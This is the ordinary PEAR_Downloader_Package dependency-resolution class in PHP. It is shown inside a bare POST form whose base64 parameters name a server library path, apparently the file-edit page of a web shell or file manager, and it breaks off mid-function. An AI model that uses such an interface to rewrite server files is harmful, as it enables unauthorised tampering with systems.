<hr>Package.php<form method=post action="?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFSL0Rvd25sb2FkZXI%3D&f=UGFja2FnZS5waHA%3D"><input name="f" value="Package.php"><textarea name="t">&lt;?php
/**
 * PEAR_Downloader_Package
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 1.4.0a1
 */

/**
 * Error code when parameter initialization fails because no releases
 * exist within preferred_state, but releases do exist
 */
define('PEAR_DOWNLOADER_PACKAGE_STATE', -1003);
/**
 * Error code when parameter initialization fails because no releases
 * exist that will work with the existing PHP version
 */
define('PEAR_DOWNLOADER_PACKAGE_PHPVERSION', -1004);

/**
 * Coordinates download parameters and manages their dependencies
 * prior to downloading them.
 *
 * Input can come from three sources:
 *
 * - local files (archives or package.xml)
 * - remote files (downloadable urls)
 * - abstract package names
 *
 * The first two elements are handled cleanly by PEAR_PackageFile, but the third requires
 * accessing pearweb's xml-rpc interface to determine necessary dependencies, and the
 * format returned of dependencies is slightly different from that used in package.xml.
 *
 * This class hides the differences between these elements, and makes automatic
 * dependency resolution a piece of cake.  It also manages conflicts when
 * two classes depend on incompatible dependencies, or differing versions of the same
 * package dependency.  In addition, download will not be attempted if the php version is
 * not supported, PEAR installer version is not supported, or non-PECL extensions are not
 * installed.
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: 1.10.13
 * @link       http://pear.php.net/package/PEAR
 * @since      Class available since Release 1.4.0a1
 */
class PEAR_Downloader_Package
{
    /**
     * @var PEAR_Downloader
     */
    var $_downloader;
    /**
     * @var PEAR_Config
     */
    var $_config;
    /**
     * @var PEAR_Registry
     */
    var $_registry;
    /**
     * Used to implement packagingroot properly
     * @var PEAR_Registry
     */
    var $_installRegistry;
    /**
     * @var PEAR_PackageFile_v1|PEAR_PackageFile|v2
     */
    var $_packagefile;
    /**
     * @var array
     */
    var $_parsedname;
    /**
     * @var array
     */
    var $_downloadURL;
    /**
     * @var array
     */
    var $_downloadDeps = array();
    /**
     * @var boolean
     */
    var $_valid = false;
    /**
     * @var boolean
     */
    var $_analyzed = false;
    /**
     * if this or a parent package was invoked with Package-state, this is set to the
     * state variable.
     *
     * This allows temporary reassignment of preferred_state for a parent package and all of
     * its dependencies.
     * @var string|false
     */
    var $_explicitState = false;
    /**
     * If this package is invoked with Package#group, this variable will be true
     */
    var $_explicitGroup = false;
    /**
     * Package type local|url
     * @var string
     */
    var $_type;
    /**
     * Contents of package.xml, if downloaded from a remote channel
     * @var string|false
     * @access private
     */
    var $_rawpackagefile;
    /**
     * @var boolean
     * @access private
     */
    var $_validated = false;

    /**
     * @param PEAR_Downloader
     */
    function __construct(&amp;$downloader)
    {
        $this-&gt;_downloader = &amp;$downloader;
        $this-&gt;_config = &amp;$this-&gt;_downloader-&gt;config;
        $this-&gt;_registry = &amp;$this-&gt;_config-&gt;getRegistry();
        $options = $downloader-&gt;getOptions();
        if (isset($options['packagingroot'])) {
            $this-&gt;_config-&gt;setInstallRoot($options['packagingroot']);
            $this-&gt;_installRegistry = &amp;$this-&gt;_config-&gt;getRegistry();
            $this-&gt;_config-&gt;setInstallRoot(false);
        } else {
            $this-&gt;_installRegistry = &amp;$this-&gt;_registry;
        }
        $this-&gt;_valid = $this-&gt;_analyzed = false;
    }

    /**
     * Parse the input and determine whether this is a local file, a remote uri, or an
     * abstract package name.
     *
     * This is the heart of the PEAR_Downloader_Package(), and is used in
     * {@link PEAR_Downloader::download()}
     * @param string
     * @return bool|PEAR_Error
     */
    function initialize($param)
    {
        $origErr = $this-&gt;_fromFile($param);
        if ($this-&gt;_valid) {
            return true;
        }

        $options = $this-&gt;_downloader-&gt;getOptions();
        if (isset($options['offline'])) {
            if (PEAR::isError($origErr) &amp;&amp; !isset($options['soft'])) {
                foreach ($origErr-&gt;getUserInfo() as $userInfo) {
                    if (isset($userInfo['message'])) {
                        $this-&gt;_downloader-&gt;log(0, $userInfo['message']);
                    }
                }

                $this-&gt;_downloader-&gt;log(0, $origErr-&gt;getMessage());
            }

            return PEAR::raiseError('Cannot download non-local package &quot;' . $param . '&quot;');
        }

        $err = $this-&gt;_fromUrl($param);
        if (PEAR::isError($err) || !$this-&gt;_valid) {
            if ($this-&gt;_type == 'url') {
                if (PEAR::isError($err) &amp;&amp; !isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(0, $err-&gt;getMessage());
                }

                return PEAR::raiseError(&quot;Invalid or missing remote package file&quot;);
            }

            $err = $this-&gt;_fromString($param);
            if (PEAR::isError($err) || !$this-&gt;_valid) {
                if (PEAR::isError($err) &amp;&amp; $err-&gt;getCode() == PEAR_DOWNLOADER_PACKAGE_STATE) {
                    return false; // instruct the downloader to silently skip
                }

                if (isset($this-&gt;_type) &amp;&amp; $this-&gt;_type == 'local' &amp;&amp; PEAR::isError($origErr)) {
                    if (is_array($origErr-&gt;getUserInfo())) {
                        foreach ($origErr-&gt;getUserInfo() as $err) {
                            if (is_array($err)) {
                                $err = $err['message'];
                            }

                            if (!isset($options['soft'])) {
                                $this-&gt;_downloader-&gt;log(0, $err);
                            }
                        }
                    }

                    if (!isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(0, $origErr-&gt;getMessage());
                    }

                    if (is_array($param)) {
                        $param = $this-&gt;_registry-&gt;parsedPackageNameToString($param, true);
                    }

                    if (!isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(2, &quot;Cannot initialize '$param', invalid or missing package file&quot;);
                    }

                    // Passing no message back - already logged above
                    return PEAR::raiseError();
                }

                if (PEAR::isError($err) &amp;&amp; !isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(0, $err-&gt;getMessage());
                }

                if (is_array($param)) {
                    $param = $this-&gt;_registry-&gt;parsedPackageNameToString($param, true);
                }

                if (!isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(2, &quot;Cannot initialize '$param', invalid or missing package file&quot;);
                }

                // Passing no message back - already logged above
                return PEAR::raiseError();
            }
        }

        return true;
    }

    /**
     * Retrieve any non-local packages
     * @return PEAR_PackageFile_v1|PEAR_PackageFile_v2|PEAR_Error
     */
    function &amp;download()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile;
        }

        if (isset($this-&gt;_downloadURL['url'])) {
            $this-&gt;_isvalid = false;
            $info = $this-&gt;getParsedPackage();
            foreach ($info as $i =&gt; $p) {
                $info[$i] = strtolower($p);
            }

            $err = $this-&gt;_fromUrl($this-&gt;_downloadURL['url'],
                $this-&gt;_registry-&gt;parsedPackageNameToString($this-&gt;_parsedname, true));
            $newinfo = $this-&gt;getParsedPackage();
            foreach ($newinfo as $i =&gt; $p) {
                $newinfo[$i] = strtolower($p);
            }

            if ($info != $newinfo) {
                do {
                    if ($info['channel'] == 'pecl.php.net' &amp;&amp; $newinfo['channel'] == 'pear.php.net') {
                        $info['channel'] = 'pear.php.net';
                        if ($info == $newinfo) {
                            // skip the channel check if a pecl package says it's a PEAR package
                            break;
                        }
                    }
                    if ($info['channel'] == 'pear.php.net' &amp;&amp; $newinfo['channel'] == 'pecl.php.net') {
                        $info['channel'] = 'pecl.php.net';
                        if ($info == $newinfo) {
                            // skip the channel check if a pecl package says it's a PEAR package
                            break;
                        }
                    }

                    return PEAR::raiseError('CRITICAL ERROR: We are ' .
                        $this-&gt;_registry-&gt;parsedPackageNameToString($info) . ', but the file ' .
                        'downloaded claims to be ' .
                        $this-&gt;_registry-&gt;parsedPackageNameToString($this-&gt;getParsedPackage()));
                } while (false);
            }

            if (PEAR::isError($err) || !$this-&gt;_valid) {
                return $err;
            }
        }

        $this-&gt;_type = 'local';
        return $this-&gt;_packagefile;
    }

    function &amp;getPackageFile()
    {
        return $this-&gt;_packagefile;
    }

    function &amp;getDownloader()
    {
        return $this-&gt;_downloader;
    }

    function getType()
    {
        return $this-&gt;_type;
    }

    /**
     * Like {@link initialize()}, but operates on a dependency
     */
    function fromDepURL($dep)
    {
        $this-&gt;_downloadURL = $dep;
        if (isset($dep['uri'])) {
            $options = $this-&gt;_downloader-&gt;getOptions();
            if (!extension_loaded(&quot;zlib&quot;) || isset($options['nocompress'])) {
                $ext = '.tar';
            } else {
                $ext = '.tgz';
            }

            PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
            $err = $this-&gt;_fromUrl($dep['uri'] . $ext);
            PEAR::popErrorHandling();
            if (PEAR::isError($err)) {
                if (!isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(0, $err-&gt;getMessage());
                }

                return PEAR::raiseError('Invalid uri dependency &quot;' . $dep['uri'] . $ext . '&quot;, ' .
                    'cannot download');
            }
        } else {
            $this-&gt;_parsedname =
                array(
                    'package' =&gt; $dep['info']-&gt;getPackage(),
                    'channel' =&gt; $dep['info']-&gt;getChannel(),
                    'version' =&gt; $dep['version']
                );
            if (!isset($dep['nodefault'])) {
                $this-&gt;_parsedname['group'] = 'default'; // download the default dependency group
                $this-&gt;_explicitGroup = false;
            }

            $this-&gt;_rawpackagefile = $dep['raw'];
        }
    }

    function detectDependencies($params)
    {
        $options = $this-&gt;_downloader-&gt;getOptions();
        if (isset($options['downloadonly'])) {
            return;
        }

        if (isset($options['offline'])) {
            $this-&gt;_downloader-&gt;log(3, 'Skipping dependency download check, --offline specified');
            return;
        }

        $pname = $this-&gt;getParsedPackage();
        if (!$pname) {
            return;
        }

        $deps = $this-&gt;getDeps();
        if (!$deps) {
            return;
        }

        if (isset($deps['required'])) { // package.xml 2.0
            return $this-&gt;_detect2($deps, $pname, $options, $params);
        }

        return $this-&gt;_detect1($deps, $pname, $options, $params);
    }

    function setValidated()
    {
        $this-&gt;_validated = true;
    }

    function alreadyValidated()
    {
        return $this-&gt;_validated;
    }

    /**
     * Remove packages to be downloaded that are already installed
     * @param array of PEAR_Downloader_Package objects
     */
    public static function removeInstalled(&amp;$params)
    {
        if (!isset($params[0])) {
            return;
        }

        $options = $params[0]-&gt;_downloader-&gt;getOptions();
        if (!isset($options['downloadonly'])) {
            foreach ($params as $i =&gt; $param) {
                $package = $param-&gt;getPackage();
                $channel = $param-&gt;getChannel();
                // remove self if already installed with this version
                // this does not need any pecl magic - we only remove exact matches
                if ($param-&gt;_installRegistry-&gt;packageExists($package, $channel)) {
                    $packageVersion = $param-&gt;_installRegistry-&gt;packageInfo($package, 'version', $channel);
                    if (version_compare($packageVersion, $param-&gt;getVersion(), '==')) {
                        if (!isset($options['force']) &amp;&amp; !isset($options['packagingroot'])) {
                            $info = $param-&gt;getParsedPackage();
                            unset($info['version']);
                            unset($info['state']);
                            if (!isset($options['soft'])) {
                                $param-&gt;_downloader-&gt;log(1, 'Skipping package &quot;' .
                                    $param-&gt;getShortName() .
                                    '&quot;, already installed as version ' . $packageVersion);
                            }
                            $params[$i] = false;
                        }
                    } elseif (!isset($options['force']) &amp;&amp; !isset($options['upgrade']) &amp;&amp;
                          !isset($options['soft']) &amp;&amp; !isset($options['packagingroot'])) {
                        $info = $param-&gt;getParsedPackage();
                        $param-&gt;_downloader-&gt;log(1, 'Skipping package &quot;' .
                            $param-&gt;getShortName() .
                            '&quot;, already installed as version ' . $packageVersion);
                        $params[$i] = false;
                    }
                }
            }
        }

        PEAR_Downloader_Package::removeDuplicates($params);
    }

    function _detect2($deps, $pname, $options, $params)
    {
        $this-&gt;_downloadDeps = array();
        $groupnotfound = false;
        foreach (array('package', 'subpackage') as $packagetype) {
            // get required dependency group
            if (isset($deps['required'][$packagetype])) {
                if (isset($deps['required'][$packagetype][0])) {
                    foreach ($deps['required'][$packagetype] as $dep) {
                        if (isset($dep['conflicts'])) {
                            // skip any package that this package conflicts with
                            continue;
                        }
                        $ret = $this-&gt;_detect2Dep($dep, $pname, 'required', $params);
                        if (is_array($ret)) {
                            $this-&gt;_downloadDeps[] = $ret;
                        } elseif (PEAR::isError($ret) &amp;&amp; !isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(0, $ret-&gt;getMessage());
                        }
                    }
                } else {
                    $dep = $deps['required'][$packagetype];
                    if (!isset($dep['conflicts'])) {
                        // skip any package that this package conflicts with
                        $ret = $this-&gt;_detect2Dep($dep, $pname, 'required', $params);
                        if (is_array($ret)) {
                            $this-&gt;_downloadDeps[] = $ret;
                        } elseif (PEAR::isError($ret) &amp;&amp; !isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(0, $ret-&gt;getMessage());
                        }
                    }
                }
            }

            // get optional dependency group, if any
            if (isset($deps['optional'][$packagetype])) {
                $skipnames = array();
                if (!isset($deps['optional'][$packagetype][0])) {
                    $deps['optional'][$packagetype] = array($deps['optional'][$packagetype]);
                }

                foreach ($deps['optional'][$packagetype] as $dep) {
                    $skip = false;
                    if (!isset($options['alldeps'])) {
                        $dep['package'] = $dep['name'];
                        if (!isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(3, 'Notice: package &quot;' .
                              $this-&gt;_registry-&gt;parsedPackageNameToString($this-&gt;getParsedPackage(),
                                    true) . '&quot; optional dependency &quot;' .
                                $this-&gt;_registry-&gt;parsedPackageNameToString(array('package' =&gt;
                                    $dep['name'], 'channel' =&gt; 'pear.php.net'), true) .
                                '&quot; will not be automatically downloaded');
                        }
                        $skipnames[] = $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true);
                        $skip = true;
                        unset($dep['package']);
                    }

                    $ret = $this-&gt;_detect2Dep($dep, $pname, 'optional', $params);
                    if (PEAR::isError($ret) &amp;&amp; !isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(0, $ret-&gt;getMessage());
                    }

                    if (!$ret) {
                        $dep['package'] = $dep['name'];
                        $skip = count($skipnames) ?
                            $skipnames[count($skipnames) - 1] : '';
                        if ($skip ==
                              $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true)) {
                            array_pop($skipnames);
                        }
                    }

                    if (!$skip &amp;&amp; is_array($ret)) {
                        $this-&gt;_downloadDeps[] = $ret;
                    }
                }

                if (count($skipnames)) {
                    if (!isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(1, 'Did not download optional dependencies: ' .
                            implode(', ', $skipnames) .
                            ', use --alldeps to download automatically');
                    }
                }
            }

            // get requested dependency group, if any
            $groupname = $this-&gt;getGroup();
            $explicit  = $this-&gt;_explicitGroup;
            if (!$groupname) {
                if (!$this-&gt;canDefault()) {
                    continue;
                }

                $groupname = 'default'; // try the default dependency group
            }

            if ($groupnotfound) {
                continue;
            }

            if (isset($deps['group'])) {
                if (isset($deps['group']['attribs'])) {
                    if (strtolower($deps['group']['attribs']['name']) == strtolower($groupname)) {
                        $group = $deps['group'];
                    } elseif ($explicit) {
                        if (!isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(0, 'Warning: package &quot;' .
                                $this-&gt;_registry-&gt;parsedPackageNameToString($pname, true) .
                                '&quot; has no dependency ' . 'group named &quot;' . $groupname . '&quot;');
                        }

                        $groupnotfound = true;
                        continue;
                    }
                } else {
                    $found = false;
                    foreach ($deps['group'] as $group) {
                        if (strtolower($group['attribs']['name']) == strtolower($groupname)) {
                            $found = true;
                            break;
                        }
                    }

                    if (!$found) {
                        if ($explicit) {
                            if (!isset($options['soft'])) {
                                $this-&gt;_downloader-&gt;log(0, 'Warning: package &quot;' .
                                    $this-&gt;_registry-&gt;parsedPackageNameToString($pname, true) .
                                    '&quot; has no dependency ' . 'group named &quot;' . $groupname . '&quot;');
                            }
                        }

                        $groupnotfound = true;
                        continue;
                    }
                }
            }

            if (isset($group) &amp;&amp; isset($group[$packagetype])) {
                if (isset($group[$packagetype][0])) {
                    foreach ($group[$packagetype] as $dep) {
                        $ret = $this-&gt;_detect2Dep($dep, $pname, 'dependency group &quot;' .
                            $group['attribs']['name'] . '&quot;', $params);
                        if (is_array($ret)) {
                            $this-&gt;_downloadDeps[] = $ret;
                        } elseif (PEAR::isError($ret) &amp;&amp; !isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(0, $ret-&gt;getMessage());
                        }
                    }
                } else {
                    $ret = $this-&gt;_detect2Dep($group[$packagetype], $pname,
                        'dependency group &quot;' .
                        $group['attribs']['name'] . '&quot;', $params);
                    if (is_array($ret)) {
                        $this-&gt;_downloadDeps[] = $ret;
                    } elseif (PEAR::isError($ret) &amp;&amp; !isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(0, $ret-&gt;getMessage());
                    }
                }
            }
        }
    }

    function _detect2Dep($dep, $pname, $group, $params)
    {
        if (isset($dep['conflicts'])) {
            return true;
        }

        $options = $this-&gt;_downloader-&gt;getOptions();
        if (isset($dep['uri'])) {
            return array('uri' =&gt; $dep['uri'], 'dep' =&gt; $dep);;
        }

        $testdep = $dep;
        $testdep['package'] = $dep['name'];
        if (PEAR_Downloader_Package::willDownload($testdep, $params)) {
            $dep['package'] = $dep['name'];
            if (!isset($options['soft'])) {
                $this-&gt;_downloader-&gt;log(2, $this-&gt;getShortName() . ': Skipping ' . $group .
                    ' dependency &quot;' .
                    $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true) .
                    '&quot;, will be installed');
            }
            return false;
        }

        $options = $this-&gt;_downloader-&gt;getOptions();
        PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
        if ($this-&gt;_explicitState) {
            $pname['state'] = $this-&gt;_explicitState;
        }

        $url = $this-&gt;_downloader-&gt;_getDepPackageDownloadUrl($dep, $pname);
        if (PEAR::isError($url)) {
            PEAR::popErrorHandling();
            return $url;
        }

        $dep['package'] = $dep['name'];
        $ret = $this-&gt;_analyzeDownloadURL($url, 'dependency', $dep, $params, $group == 'optional' &amp;&amp;
            !isset($options['alldeps']), true);
        PEAR::popErrorHandling();
        if (PEAR::isError($ret)) {
            if (!isset($options['soft'])) {
                $this-&gt;_downloader-&gt;log(0, $ret-&gt;getMessage());
            }

            return false;
        }

        // check to see if a dep is already installed and is the same or newer
        if (!isset($dep['min']) &amp;&amp; !isset($dep['max']) &amp;&amp; !isset($dep['recommended'])) {
            $oper = 'has';
        } else {
            $oper = 'gt';
        }

        // do not try to move this before getDepPackageDownloadURL
        // we can't determine whether upgrade is necessary until we know what
        // version would be downloaded
        if (!isset($options['force']) &amp;&amp; $this-&gt;isInstalled($ret, $oper)) {
            $version = $this-&gt;_installRegistry-&gt;packageInfo($dep['name'], 'version', $dep['channel']);
            $dep['package'] = $dep['name'];
            if (!isset($options['soft'])) {
                $this-&gt;_downloader-&gt;log(3, $this-&gt;getShortName() . ': Skipping ' . $group .
                    ' dependency &quot;' .
                $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true) .
                    '&quot; version ' . $url['version'] . ', already installed as version ' .
                    $version);
            }

            return false;
        }

        if (isset($dep['nodefault'])) {
            $ret['nodefault'] = true;
        }

        return $ret;
    }

    function _detect1($deps, $pname, $options, $params)
    {
        $this-&gt;_downloadDeps = array();
        $skipnames = array();
        foreach ($deps as $dep) {
            $nodownload = false;
            if (isset ($dep['type']) &amp;&amp; $dep['type'] === 'pkg') {
                $dep['channel'] = 'pear.php.net';
                $dep['package'] = $dep['name'];
                switch ($dep['rel']) {
                    case 'not' :
                        continue 2;
                    case 'ge' :
                    case 'eq' :
                    case 'gt' :
                    case 'has' :
                        $group = (!isset($dep['optional']) || $dep['optional'] == 'no') ?
                            'required' :
                            'optional';
                        if (PEAR_Downloader_Package::willDownload($dep, $params)) {
                            $this-&gt;_downloader-&gt;log(2, $this-&gt;getShortName() . ': Skipping ' . $group
                                . ' dependency &quot;' .
                                $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true) .
                                '&quot;, will be installed');
                            continue 2;
                        }
                        $fakedp = new PEAR_PackageFile_v1;
                        $fakedp-&gt;setPackage($dep['name']);
                        // skip internet check if we are not upgrading (bug #5810)
                        if (!isset($options['upgrade']) &amp;&amp; $this-&gt;isInstalled(
                              $fakedp, $dep['rel'])) {
                            $this-&gt;_downloader-&gt;log(2, $this-&gt;getShortName() . ': Skipping ' . $group
                                . ' dependency &quot;' .
                                $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true) .
                                '&quot;, is already installed');
                            continue 2;
                        }
                }

                PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                if ($this-&gt;_explicitState) {
                    $pname['state'] = $this-&gt;_explicitState;
                }

                $url = $this-&gt;_downloader-&gt;_getDepPackageDownloadUrl($dep, $pname);
                $chan = 'pear.php.net';
                if (PEAR::isError($url)) {
                    // check to see if this is a pecl package that has jumped
                    // from pear.php.net to pecl.php.net channel
                    if (!class_exists('PEAR_Dependency2')) {
                        require_once 'PEAR/Dependency2.php';
                    }

                    $newdep = PEAR_Dependency2::normalizeDep($dep);
                    $newdep = $newdep[0];
                    $newdep['channel'] = 'pecl.php.net';
                    $chan = 'pecl.php.net';
                    $url = $this-&gt;_downloader-&gt;_getDepPackageDownloadUrl($newdep, $pname);
                    $obj = &amp;$this-&gt;_installRegistry-&gt;getPackage($dep['name']);
                    if (PEAR::isError($url)) {
                        PEAR::popErrorHandling();
                        if ($obj !== null &amp;&amp; $this-&gt;isInstalled($obj, $dep['rel'])) {
                            $group = (!isset($dep['optional']) || $dep['optional'] == 'no') ?
                                'required' :
                                'optional';
                            $dep['package'] = $dep['name'];
                            if (!isset($options['soft'])) {
                                $this-&gt;_downloader-&gt;log(3, $this-&gt;getShortName() .
                                    ': Skipping ' . $group . ' dependency &quot;' .
                                    $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true) .
                                    '&quot;, already installed as version ' . $obj-&gt;getVersion());
                            }
                            $skip = count($skipnames) ?
                                $skipnames[count($skipnames) - 1] : '';
                            if ($skip ==
                                  $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true)) {
                                array_pop($skipnames);
                            }
                            continue;
                        } else {
                            if (isset($dep['optional']) &amp;&amp; $dep['optional'] == 'yes') {
                                $this-&gt;_downloader-&gt;log(2, $this-&gt;getShortName() .
                                    ': Skipping optional dependency &quot;' .
                                    $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true) .
                                    '&quot;, no releases exist');
                                continue;
                            } else {
                                return $url;
                            }
                        }
                    }
                }

                PEAR::popErrorHandling();
                if (!isset($options['alldeps'])) {
                    if (isset($dep['optional']) &amp;&amp; $dep['optional'] == 'yes') {
                        if (!isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(3, 'Notice: package &quot;' .
                                $this-&gt;getShortName() .
                                '&quot; optional dependency &quot;' .
                                $this-&gt;_registry-&gt;parsedPackageNameToString(
                                    array('channel' =&gt; $chan, 'package' =&gt;
                                    $dep['name']), true) .
                                '&quot; will not be automatically downloaded');
                        }
                        $skipnames[] = $this-&gt;_registry-&gt;parsedPackageNameToString(
                                array('channel' =&gt; $chan, 'package' =&gt;
                                $dep['name']), true);
                        $nodownload = true;
                    }
                }

                if (!isset($options['alldeps']) &amp;&amp; !isset($options['onlyreqdeps'])) {
                    if (!isset($dep['optional']) || $dep['optional'] == 'no') {
                        if (!isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(3, 'Notice: package &quot;' .
                                $this-&gt;getShortName() .
                                '&quot; required dependency &quot;' .
                                $this-&gt;_registry-&gt;parsedPackageNameToString(
                                    array('channel' =&gt; $chan, 'package' =&gt;
                                    $dep['name']), true) .
                                '&quot; will not be automatically downloaded');
                        }
                        $skipnames[] = $this-&gt;_registry-&gt;parsedPackageNameToString(
                                array('channel' =&gt; $chan, 'package' =&gt;
                                $dep['name']), true);
                        $nodownload = true;
                    }
                }

                // check to see if a dep is already installed
                // do not try to move this before getDepPackageDownloadURL
                // we can't determine whether upgrade is necessary until we know what
                // version would be downloaded
                if (!isset($options['force']) &amp;&amp; $this-&gt;isInstalled(
                        $url, $dep['rel'])) {
                    $group = (!isset($dep['optional']) || $dep['optional'] == 'no') ?
                        'required' :
                        'optional';
                    $dep['package'] = $dep['name'];
                    if (isset($newdep)) {
                        $version = $this-&gt;_installRegistry-&gt;packageInfo($newdep['name'], 'version', $newdep['channel']);
                    } else {
                        $version = $this-&gt;_installRegistry-&gt;packageInfo($dep['name'], 'version');
                    }

                    $dep['version'] = $url['version'];
                    if (!isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(3, $this-&gt;getShortName() . ': Skipping ' . $group .
                            ' dependency &quot;' .
                            $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true) .
                            '&quot;, already installed as version ' . $version);
                    }

                    $skip = count($skipnames) ?
                        $skipnames[count($skipnames) - 1] : '';
                    if ($skip ==
                          $this-&gt;_registry-&gt;parsedPackageNameToString($dep, true)) {
                        array_pop($skipnames);
                    }

                    continue;
                }

                if ($nodownload) {
                    continue;
                }

                PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                if (isset($newdep)) {
                    $dep = $newdep;
                }

                $dep['package'] = $dep['name'];
                $ret = $this-&gt;_analyzeDownloadURL($url, 'dependency', $dep, $params,
                    isset($dep['optional']) &amp;&amp; $dep['optional'] == 'yes' &amp;&amp;
                    !isset($options['alldeps']), true);
                PEAR::popErrorHandling();
                if (PEAR::isError($ret)) {
                    if (!isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(0, $ret-&gt;getMessage());
                    }
                    continue;
                }

                $this-&gt;_downloadDeps[] = $ret;
            }
        }

        if (count($skipnames)) {
            if (!isset($options['soft'])) {
                $this-&gt;_downloader-&gt;log(1, 'Did not download dependencies: ' .
                    implode(', ', $skipnames) .
                    ', use --alldeps or --onlyreqdeps to download automatically');
            }
        }
    }

    function setDownloadURL($pkg)
    {
        $this-&gt;_downloadURL = $pkg;
    }

    /**
     * Set the package.xml object for this downloaded package
     *
     * @param PEAR_PackageFile_v1|PEAR_PackageFile_v2 $pkg
     */
    function setPackageFile(&amp;$pkg)
    {
        $this-&gt;_packagefile = &amp;$pkg;
    }

    function getShortName()
    {
        return $this-&gt;_registry-&gt;parsedPackageNameToString(array('channel' =&gt; $this-&gt;getChannel(),
            'package' =&gt; $this-&gt;getPackage()), true);
    }

    function getParsedPackage()
    {
        if (isset($this-&gt;_packagefile) || isset($this-&gt;_parsedname)) {
            return array('channel' =&gt; $this-&gt;getChannel(),
                'package' =&gt; $this-&gt;getPackage(),
                'version' =&gt; $this-&gt;getVersion());
        }

        return false;
    }

    function getDownloadURL()
    {
        return $this-&gt;_downloadURL;
    }

    function canDefault()
    {
        if (isset($this-&gt;_downloadURL) &amp;&amp; isset($this-&gt;_downloadURL['nodefault'])) {
            return false;
        }

        return true;
    }

    function getPackage()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;getPackage();
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            return $this-&gt;_downloadURL['info']-&gt;getPackage();
        }

        return false;
    }

    /**
     * @param PEAR_PackageFile_v1|PEAR_PackageFile_v2
     */
    function isSubpackage(&amp;$pf)
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;isSubpackage($pf);
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            return $this-&gt;_downloadURL['info']-&gt;isSubpackage($pf);
        }

        return false;
    }

    function getPackageType()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;getPackageType();
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            return $this-&gt;_downloadURL['info']-&gt;getPackageType();
        }

        return false;
    }

    function isBundle()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;getPackageType() == 'bundle';
        }

        return false;
    }

    function getPackageXmlVersion()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;getPackagexmlVersion();
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            return $this-&gt;_downloadURL['info']-&gt;getPackagexmlVersion();
        }

        return '1.0';
    }

    function getChannel()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;getChannel();
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            return $this-&gt;_downloadURL['info']-&gt;getChannel();
        }

        return false;
    }

    function getURI()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;getURI();
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            return $this-&gt;_downloadURL['info']-&gt;getURI();
        }

        return false;
    }

    function getVersion()
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;getVersion();
        } elseif (isset($this-&gt;_downloadURL['version'])) {
            return $this-&gt;_downloadURL['version'];
        }

        return false;
    }

    function isCompatible($pf)
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;isCompatible($pf);
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            return $this-&gt;_downloadURL['info']-&gt;isCompatible($pf);
        }

        return true;
    }

    function setGroup($group)
    {
        $this-&gt;_parsedname['group'] = $group;
    }

    function getGroup()
    {
        if (isset($this-&gt;_parsedname['group'])) {
            return $this-&gt;_parsedname['group'];
        }

        return '';
    }

    function isExtension($name)
    {
        if (isset($this-&gt;_packagefile)) {
            return $this-&gt;_packagefile-&gt;isExtension($name);
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            if ($this-&gt;_downloadURL['info']-&gt;getPackagexmlVersion() == '2.0') {
                return $this-&gt;_downloadURL['info']-&gt;getProvidesExtension() == $name;
            }

            return false;
        }

        return false;
    }

    function getDeps()
    {
        if (isset($this-&gt;_packagefile)) {
            $ver = $this-&gt;_packagefile-&gt;getPackagexmlVersion();
